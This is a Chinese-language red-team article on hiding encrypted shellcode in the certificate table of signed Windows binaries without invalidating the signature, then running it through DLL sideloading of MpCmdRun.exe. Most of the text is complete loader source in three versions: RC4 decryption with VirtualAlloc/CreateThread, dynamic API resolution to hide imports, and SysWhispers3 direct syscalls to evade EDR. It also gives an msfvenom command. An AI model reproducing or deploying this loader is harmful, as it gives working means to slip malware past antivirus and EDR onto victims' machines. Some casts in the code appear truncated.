概述
目前大部分白加黑DLL劫持免杀都是将Shellcode写到劫持的DLL里面,然后程序运行时加载DLL,DLL解析Shellcode进行加载上线。那么这种方式DLL中既包含Shellcode,又包含了执行Shellcode的代码,被查杀的机率就很大。
那么我们思考一下,如果DLL中不保存Shellcode,只包含执行Shellcode的功能,那么被查杀的机率就会变小。
恰好Windows的程序签名存在一个漏洞,我们可以在不破坏白文件签名的情况下将Shellcode嵌入到白文件中,DLL就只保存执行Shellcode的功能代码。
如下图:
它是怎么工作的
程序文件签名的原理:
证书签名的过程:
计算文件Hash
根据计算的Hash来生成对应的证书
将证书添加到程序的末尾,也就是图中Attribute Certificate Table部分
Hash的计算:
跳过4个字节的校验码和Certificate Table部分,对整个文件进行Hash计算。注意:由于是先计算Hash,然后将证书添加到程序的末尾,所以程序末尾Attribute Certificate Table部分也不会参与Hash的计算
由此可知,文件内容被篡改,就会导致计算的Hash改变,然后证书就会失效。但是上图中灰色背景部分并不参与Hash计算,也就是说只要我们增加的数据在Attribute Certificate Table部分的末尾,就不会改变整体的Hash计算,此时,证书的长度就会被改变,因此我们还要修改记录证书长度的数据,一共有两处;分别是Attribute Certificate Table数据头部和Data Directories里面Certificate Table部分,下面演示一下手动添加数据到程序文件中。
手动演示添加数据:
我们以explorer.exe这个文件为例,有用微软官方的签名:
首先我们要定位Attribute Certificate Table的位置,找到Attribute Certificate Table数据的大小,然后添加数据保存,验证证书,之后修改两处标明Attribute Certificate Table大小的数据,然后重新查看证书。
定位****Attribute Certificate Table:
我们使用CFF Explorer来查看explorer.exe的Data Directories的Security Directory部分:
可以得到如下信息:
Attribute Certificate Table在程序中的偏移是503000
Attribute Certificate Table的大小是DB48
现在我们跳转到503000处来验证头部4字节是否为DB48。
如下图,前四个字节为48DB0000,转换成实际长度为0000DB48,也就是上图中的DB48。
在****Attribute Certificate Table末尾添加数据:
首先在Attribute Certificate Table末尾添加数据FFFFFFFFFFFFFFFF一共是8字节的数据(添加的数据要以8字节对齐,否则证书无效)。
原始状态,使用010Editor来进行查看:
我们使用010Editor来进行修改,添加8字节数据FFFFFFFFFFFFFFFF之后保存。
此时证书已经无效了。
修改两处标明****Attribute Certificate Table大小的数据:
首先第一个是Attribute Certificate Table头部的大小,原始大小为DB48,那么添加了8字节数据之后是DB48+8=DB50,将Attribute Certificate Table头部改成DB50:
将Data Directories的Security Directory部分的size改成DB50:
此时证书已经恢复了。
思路延伸:
在我们常规的白加黑dll劫持免杀中,一般情况下是将Shellcode和加载Shellcode的功能都放在dll中,如果结合上文的中技巧,我们将Shellcode放到白文件中,不破坏白文件的签名,dll中只存放加载Shellcode的代码。那么将大大减少被杀软发现的可能。
实现上述想法的过程:
1.我们找到一个可以实现dll劫持的携带合法签名的程序。
2.在不破坏文件签名的情况下将Shellcode加密嵌入到上面的程序中(我们要在Shellcode头部增加特征字符来标明Shellcode的位置)。
3.在dll的函数中读取第二步嵌入的Shellcode,然后进行解密执行。
具体的实现:
我们以程序MpCmdRun.exe为例
首先使用****msfvenom生成测试Shellcode:
Bash
msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT='Your PC has been hacked!' -f raw -o msg_hacked.bin
使用工具将上面的Shellcode加密嵌入到程序MpCmdRun.exe中shellcode加密的密钥为123456:
编译****DLL文件:
功能为读取MpCmdRun.exe文件,找到Shellcode,然后解密并使用VirtualAlloc、WriteProcessMemory、CreateThread来执行:
Bash
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <WinTrust.h>
#include "malloc.h"
// 定义解密算法
void Decrypt(unsigned char* data, long dataLen, unsigned char* key, long keyLen, unsigned char* result) {
unsigned char T[256];
unsigned char S[256];
unsigned char tmp;
int j = 0, t = 0, i = 0;
// 初始化 S 和 T 数组
for (int i = 0; i < 256; i++) {
S[i] = i;
T[i] = key[i % keyLen];
}
// 初始置换
for (int i = 0; i < 256; i++) {
j = (j + S[i] + T[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
}
j = 0;
// 伪随机数生成
for (int x = 0; x < dataLen; x++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
t = (S[i] + S[j]) % 256;
// 解密
result[x] = data[x] ^ S[t];
}
}
void Main() {
// 加密密钥
char encryptionKey[] = "123456";
CHAR* encKey = encryptionKey;
// 获取当前模块的路径
char modulePath[MAX_PATH];
GetModuleFileNameA(NULL, modulePath, MAX_PATH);
// 打开当前模块文件
HANDLE hModuleFile = CreateFileA(modulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hModuleFile == INVALID_HANDLE_VALUE) {
return;
}
// 获取文件大小
DWORD fileSize = GetFileSize(hModuleFile, NULL);
// 读取文件内容到内存
unsigned char* moduleData = new unsigned char[fileSize];
DWORD bytesRead;
ReadFile(hModuleFile, moduleData, fileSize, &bytesRead, NULL);
// 获取DOS头
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)moduleData;
// 获取PE头
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)(moduleData + dosHeader->e_lfanew);
// 获取数据目录中证书表项的RVA
DWORD certTableRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
DWORD certTableSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
DWORD dataOffset = 0;
unsigned char* pePtr = moduleData + certTableRVA;
SIZE_T index = 0;
// 在证书表中查找特定的标志
for (index = 0; index < certTableSize; index++) {
if (*(pePtr + index) == 0xfe && *(pePtr + index + 1) == 0xed && *(pePtr + index + 2) == 0xfa && *(pePtr + index + 3) == 0xce) {
dataOffset = index + 8;
break;
}
}
if (dataOffset == 0) {
return;
}
// 解密
DWORD encryptedDataSize = certTableSize - dataOffset;
CHAR* decryptedData = (CHAR*)malloc(encryptedDataSize);
memcpy(decryptedData, pePtr + dataOffset, encryptedDataSize);
Decrypt((unsigned char*)decryptedData, encryptedDataSize, (unsigned char*)encKey, strlen(encKey), (unsigned char*)decryptedData);
// 分配内存,并将解密后的数据写入
void* shellcode = VirtualAlloc(NULL, encryptedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellcode, decryptedData, encryptedDataSize, NULL);
// 创建线程执行 shellcode
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)shellcode, 0, 0, 0);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void MpQueryEngineConfigDword() {}
extern "C" __declspec(dllexport) void MpGetSampleChunk() {}
extern "C" __declspec(dllexport) void MpConveySampleSubmissionResult() {}
extern "C" __declspec(dllexport) void MpSampleSubmit() {}
extern "C" __declspec(dllexport) void MpSampleQuery() {}
extern "C" __declspec(dllexport) void MpUpdateStart() {}
extern "C" __declspec(dllexport) void MpClientUtilExportFunctions() {}
extern "C" __declspec(dllexport) void MpConfigInitialize() {}
extern "C" __declspec(dllexport) void MpConfigOpen() {}
extern "C" __declspec(dllexport) void MpWDEnable() {}
extern "C" __declspec(dllexport) void MpUpdatePlatform() {}
extern "C" __declspec(dllexport) void MpConfigUninitialize() {}
extern "C" __declspec(dllexport) void MpConfigClose() {}
extern "C" __declspec(dllexport) void MpFreeMemory() {}
extern "C" __declspec(dllexport) void MpHandleClose() {}
extern "C" __declspec(dllexport) void MpThreatOpen() {}
extern "C" __declspec(dllexport) void MpThreatEnumerate() {}
extern "C" __declspec(dllexport) void MpScanResult() { }
extern "C" __declspec(dllexport) void MpManagerOpen() {}
extern "C" __declspec(dllexport) void MpScanControl() { }
extern "C" __declspec(dllexport) void MpScanStartEx() {}
extern "C" __declspec(dllexport) void MpCleanOpen() {}
extern "C" __declspec(dllexport) void MpCleanStart() {}
extern "C" __declspec(dllexport) void MpConfigGetValue() {}
extern "C" __declspec(dllexport) void MpUpdateStartEx() {}
extern "C" __declspec(dllexport) void MpManagerVersionQuery() {}
extern "C" __declspec(dllexport) void MpAddDynamicSignatureFile() {}
extern "C" __declspec(dllexport) void MpUtilsExportFunctions() { Main(); }
extern "C" __declspec(dllexport) void MpAllocMemory() {}
extern "C" __declspec(dllexport) void MpConfigSetValue() {}
extern "C" __declspec(dllexport) void MpRemoveDynamicSignatureFile() {}
extern "C" __declspec(dllexport) void MpDynamicSignatureOpen() {}
extern "C" __declspec(dllexport) void MpDynamicSignatureEnumerate() {}
extern "C" __declspec(dllexport) void MpConfigGetValueAlloc() {}
extern "C" __declspec(dllexport) void MpGetTaskSchedulerStrings() {}
extern "C" __declspec(dllexport) void MpManagerStatusQuery() {}
extern "C" __declspec(dllexport) void MpConfigIteratorOpen() {}
extern "C" __declspec(dllexport) void MpConfigIteratorEnum() {}
extern "C" __declspec(dllexport) void MpConfigIteratorClose() {}
extern "C" __declspec(dllexport) void MpNetworkCapture() {}
extern "C" __declspec(dllexport) void MpConfigDelValue() {}
extern "C" __declspec(dllexport) void MpManagerEnable() {}
extern "C" __declspec(dllexport) void MpQuarantineRequest() {}
extern "C" __declspec(dllexport) void MpManagerStatusQueryEx() {}
不足的地方:
导入表中存在执行Shellcode的敏感函数
优化方式:
动态调用函数:
可以使用LoadLibrary、GetProcAddress配合的方式动态调用函数,代码如下:
Bash
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <WinTrust.h>
#include "malloc.h"
// 定义函数指针类型
typedef LPVOID(WINAPI* VirtualAllocFunc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// 定义函数指针类型
typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
// 定义函数指针类型
typedef HANDLE(WINAPI* CreateThreadFunc)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
// 定义解密算法
void Decrypt(unsigned char* data, long dataLen, unsigned char* key, long keyLen, unsigned char* result) {
unsigned char T[256];
unsigned char S[256];
unsigned char tmp;
int j = 0, t = 0, i = 0;
// 初始化 S 和 T 数组
for (int i = 0; i < 256; i++) {
S[i] = i;
T[i] = key[i % keyLen];
}
// 初始置换
for (int i = 0; i < 256; i++) {
j = (j + S[i] + T[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
}
j = 0;
// 伪随机数生成
for (int x = 0; x < dataLen; x++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
t = (S[i] + S[j]) % 256;
// 解密
result[x] = data[x] ^ S[t];
}
}
void Main() {
// 加密密钥
char encryptionKey[] = "123456";
CHAR* encKey = encryptionKey;
// 获取当前模块的路径
char modulePath[MAX_PATH];
GetModuleFileNameA(NULL, modulePath, MAX_PATH);
// 打开当前模块文件
HANDLE hModuleFile = CreateFileA(modulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hModuleFile == INVALID_HANDLE_VALUE) {
return;
}
// 获取文件大小
DWORD fileSize = GetFileSize(hModuleFile, NULL);
// 读取文件内容到内存
unsigned char* moduleData = new unsigned char[fileSize];
DWORD bytesRead;
ReadFile(hModuleFile, moduleData, fileSize, &bytesRead, NULL);
// 获取DOS头
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)moduleData;
// 获取PE头
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)(moduleData + dosHeader->e_lfanew);
// 获取数据目录中证书表项的RVA
DWORD certTableRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
DWORD certTableSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
DWORD dataOffset = 0;
unsigned char* pePtr = moduleData + certTableRVA;
SIZE_T index = 0;
// 在证书表中查找特定的标志
for (index = 0; index < certTableSize; index++) {
if (*(pePtr + index) == 0xfe && *(pePtr + index + 1) == 0xed && *(pePtr + index + 2) == 0xfa && *(pePtr + index + 3) == 0xce) {
dataOffset = index + 8;
break;
}
}
if (dataOffset == 0) {
return;
}
// 解密
DWORD encryptedDataSize = certTableSize - dataOffset;
CHAR* decryptedData = (CHAR*)malloc(encryptedDataSize);
memcpy(decryptedData, pePtr + dataOffset, encryptedDataSize);
Decrypt((unsigned char*)decryptedData, encryptedDataSize, (unsigned char*)encKey, strlen(encKey), (unsigned char*)decryptedData);
// 分配内存,并将解密后的数据写入
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
VirtualAllocFunc virtualAlloc = reinterpret_cast(GetProcAddress(hKernel32, "VirtualAlloc"));
void* shellcode = virtualAlloc(NULL, encryptedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemoryFunc writeProcessMemory = reinterpret_cast(GetProcAddress(hKernel32, "WriteProcessMemory"));
writeProcessMemory(GetCurrentProcess(), shellcode, decryptedData, encryptedDataSize, NULL);
// 创建线程执行 shellcode
CreateThreadFunc createThread = reinterpret_cast(GetProcAddress(hKernel32, "CreateThread"));
HANDLE hThread = createThread(0, 0, (LPTHREAD_START_ROUTINE)shellcode, 0, 0, 0);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void MpQueryEngineConfigDword() {}
extern "C" __declspec(dllexport) void MpGetSampleChunk() {}
extern "C" __declspec(dllexport) void MpConveySampleSubmissionResult() {}
extern "C" __declspec(dllexport) void MpSampleSubmit() {}
extern "C" __declspec(dllexport) void MpSampleQuery() {}
extern "C" __declspec(dllexport) void MpUpdateStart() {}
extern "C" __declspec(dllexport) void MpClientUtilExportFunctions() {}
extern "C" __declspec(dllexport) void MpConfigInitialize() {}
extern "C" __declspec(dllexport) void MpConfigOpen() {}
extern "C" __declspec(dllexport) void MpWDEnable() {}
extern "C" __declspec(dllexport) void MpUpdatePlatform() {}
extern "C" __declspec(dllexport) void MpConfigUninitialize() {}
extern "C" __declspec(dllexport) void MpConfigClose() {}
extern "C" __declspec(dllexport) void MpFreeMemory() {}
extern "C" __declspec(dllexport) void MpHandleClose() {}
extern "C" __declspec(dllexport) void MpThreatOpen() {}
extern "C" __declspec(dllexport) void MpThreatEnumerate() {}
extern "C" __declspec(dllexport) void MpScanResult() { }
extern "C" __declspec(dllexport) void MpManagerOpen() {}
extern "C" __declspec(dllexport) void MpScanControl() { }
extern "C" __declspec(dllexport) void MpScanStartEx() {}
extern "C" __declspec(dllexport) void MpCleanOpen() {}
extern "C" __declspec(dllexport) void MpCleanStart() {}
extern "C" __declspec(dllexport) void MpConfigGetValue() {}
extern "C" __declspec(dllexport) void MpUpdateStartEx() {}
extern "C" __declspec(dllexport) void MpManagerVersionQuery() {}
extern "C" __declspec(dllexport) void MpAddDynamicSignatureFile() {}
extern "C" __declspec(dllexport) void MpUtilsExportFunctions() { Main(); }
extern "C" __declspec(dllexport) void MpAllocMemory() {}
extern "C" __declspec(dllexport) void MpConfigSetValue() {}
extern "C" __declspec(dllexport) void MpRemoveDynamicSignatureFile() {}
extern "C" __declspec(dllexport) void MpDynamicSignatureOpen() {}
extern "C" __declspec(dllexport) void MpDynamicSignatureEnumerate() {}
extern "C" __declspec(dllexport) void MpConfigGetValueAlloc() {}
extern "C" __declspec(dllexport) void MpGetTaskSchedulerStrings() {}
extern "C" __declspec(dllexport) void MpManagerStatusQuery() {}
extern "C" __declspec(dllexport) void MpConfigIteratorOpen() {}
extern "C" __declspec(dllexport) void MpConfigIteratorEnum() {}
extern "C" __declspec(dllexport) void MpConfigIteratorClose() {}
extern "C" __declspec(dllexport) void MpNetworkCapture() {}
extern "C" __declspec(dllexport) void MpConfigDelValue() {}
extern "C" __declspec(dllexport) void MpManagerEnable() {}
extern "C" __declspec(dllexport) void MpQuarantineRequest() {}
extern "C" __declspec(dllexport) void MpManagerStatusQueryEx() {}
三个敏感函数已经不在导入表中了。
Syscall****系统调用:
有许多可以实现Syscall的项目HellsGate、SysWhispers2、AsmHalosGate、TartarusGate、Spoofing-Gate、ParallelSyscalls、GetSSN、SysWhispers3等等,这里使用了SysWhispers3。
1.首先将项目下载到本地,然后用命令来生成所需要的文件。
2.然后将生成的.h和.asm文件导入到项目的头文件中,将.c文件导入到源文件中,接下来进行项目设置。
右键项目选择生成依赖项->生成自定义:
选中masm项:
然后使用下面的代码进行编译:
Bash
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <WinTrust.h>
#include "malloc.h"
#include "syscalls.h"
// 定义解密算法
void Decrypt(unsigned char* data, long dataLen, unsigned char* key, long keyLen, unsigned char* result) {
unsigned char T[256];
unsigned char S[256];
unsigned char tmp;
int j = 0, t = 0, i = 0;
// 初始化 S 和 T 数组
for (int i = 0; i < 256; i++) {
S[i] = i;
T[i] = key[i % keyLen];
}
// 初始置换
for (int i = 0; i < 256; i++) {
j = (j + S[i] + T[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
}
j = 0;
// 伪随机数生成
for (int x = 0; x < dataLen; x++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
t = (S[i] + S[j]) % 256;
// 解密
result[x] = data[x] ^ S[t];
}
}
void Main() {
// 加密密钥
char encryptionKey[] = "123456";
CHAR* encKey = encryptionKey;
// 获取当前模块的路径
char modulePath[MAX_PATH];
GetModuleFileNameA(NULL, modulePath, MAX_PATH);
// 打开当前模块文件
HANDLE hModuleFile = CreateFileA(modulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hModuleFile == INVALID_HANDLE_VALUE) {
return;
}
// 获取文件大小
DWORD fileSize = GetFileSize(hModuleFile, NULL);
// 读取文件内容到内存
unsigned char* moduleData = new unsigned char[fileSize];
DWORD bytesRead;
ReadFile(hModuleFile, moduleData, fileSize, &bytesRead, NULL);
// 获取DOS头
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)moduleData;
// 获取PE头
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)(moduleData + dosHeader->e_lfanew);
// 获取数据目录中证书表项的RVA
DWORD certTableRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
DWORD certTableSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
DWORD dataOffset = 0;
unsigned char* pePtr = moduleData + certTableRVA;
SIZE_T index = 0;
// 在证书表中查找特定的标志
for (index = 0; index < certTableSize; index++) {
if (*(pePtr + index) == 0xfe && *(pePtr + index + 1) == 0xed && *(pePtr + index + 2) == 0xfa && *(pePtr + index + 3) == 0xce) {
dataOffset = index + 8;
break;
}
}
if (dataOffset == 0) {
return;
}
// 解密
SIZE_T encryptedDataSize = certTableSize - dataOffset;
CHAR* decryptedData = (CHAR*)malloc(encryptedDataSize);
memcpy(decryptedData, pePtr + dataOffset, encryptedDataSize);
Decrypt((unsigned char*)decryptedData, encryptedDataSize, (unsigned char*)encKey, strlen(encKey), (unsigned char*)decryptedData);
//分配内存
PVOID shellcode = NULL;
Sw3NtAllocateVirtualMemory((HANDLE)-1, &shellcode, 0, &encryptedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//将shellcode写入内存
Sw3NtWriteVirtualMemory(GetCurrentProcess(), shellcode, decryptedData, encryptedDataSize, NULL);
// 创建线程执行 shellcode
HANDLE hThread;
DWORD ZwRet = Sw3NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS,NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, 0, 0, 0, 0);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void MpQueryEngineConfigDword() {}
extern "C" __declspec(dllexport) void MpGetSampleChunk() {}
extern "C" __declspec(dllexport) void MpConveySampleSubmissionResult() {}
extern "C" __declspec(dllexport) void MpSampleSubmit() {}
extern "C" __declspec(dllexport) void MpSampleQuery() {}
extern "C" __declspec(dllexport) void MpUpdateStart() {}
extern "C" __declspec(dllexport) void MpClientUtilExportFunctions() {}
extern "C" __declspec(dllexport) void MpConfigInitialize() {}
extern "C" __declspec(dllexport) void MpConfigOpen() {}
extern "C" __declspec(dllexport) void MpWDEnable() {}
extern "C" __declspec(dllexport) void MpUpdatePlatform() {}
extern "C" __declspec(dllexport) void MpConfigUninitialize() {}
extern "C" __declspec(dllexport) void MpConfigClose() {}
extern "C" __declspec(dllexport) void MpFreeMemory() {}
extern "C" __declspec(dllexport) void MpHandleClose() {}
extern "C" __declspec(dllexport) void MpThreatOpen() {}
extern "C" __declspec(dllexport) void MpThreatEnumerate() {}
extern "C" __declspec(dllexport) void MpScanResult() { }
extern "C" __declspec(dllexport) void MpManagerOpen() {}
extern "C" __declspec(dllexport) void MpScanControl() { }
extern "C" __declspec(dllexport) void MpScanStartEx() {}
extern "C" __declspec(dllexport) void MpCleanOpen() {}
extern "C" __declspec(dllexport) void MpCleanStart() {}
extern "C" __declspec(dllexport) void MpConfigGetValue() {}
extern "C" __declspec(dllexport) void MpUpdateStartEx() {}
extern "C" __declspec(dllexport) void MpManagerVersionQuery() {}
extern "C" __declspec(dllexport) void MpAddDynamicSignatureFile() {}
extern "C" __declspec(dllexport) void MpUtilsExportFunctions() { Main(); }
extern "C" __declspec(dllexport) void MpAllocMemory() {}
extern "C" __declspec(dllexport) void MpConfigSetValue() {}
extern "C" __declspec(dllexport) void MpRemoveDynamicSignatureFile() {}
extern "C" __declspec(dllexport) void MpDynamicSignatureOpen() {}
extern "C" __declspec(dllexport) void MpDynamicSignatureEnumerate() {}
extern "C" __declspec(dllexport) void MpConfigGetValueAlloc() {}
extern "C" __declspec(dllexport) void MpGetTaskSchedulerStrings() {}
extern "C" __declspec(dllexport) void MpManagerStatusQuery() {}
extern "C" __declspec(dllexport) void MpConfigIteratorOpen() {}
extern "C" __declspec(dllexport) void MpConfigIteratorEnum() {}
extern "C" __declspec(dllexport) void MpConfigIteratorClose() {}
extern "C" __declspec(dllexport) void MpNetworkCapture() {}
extern "C" __declspec(dllexport) void MpConfigDelValue() {}
extern "C" __declspec(dllexport) void MpManagerEnable() {}
extern "C" __declspec(dllexport) void MpQuarantineRequest() {}
extern "C" __declspec(dllexport) void MpManagerStatusQueryEx() {}
可以看到生成的代码中同样没有三个敏感函数,并且这种Syscall的方式还可以绕过EDR。
思路延伸:
还有许多执行Shellcode的方式,这里推荐两个项目shellcodeloader和 AlternativeShellcodeExec。
关于作者:
aeverj:青藤云安全-红队自动化技术专家。
-完-
热门动态推荐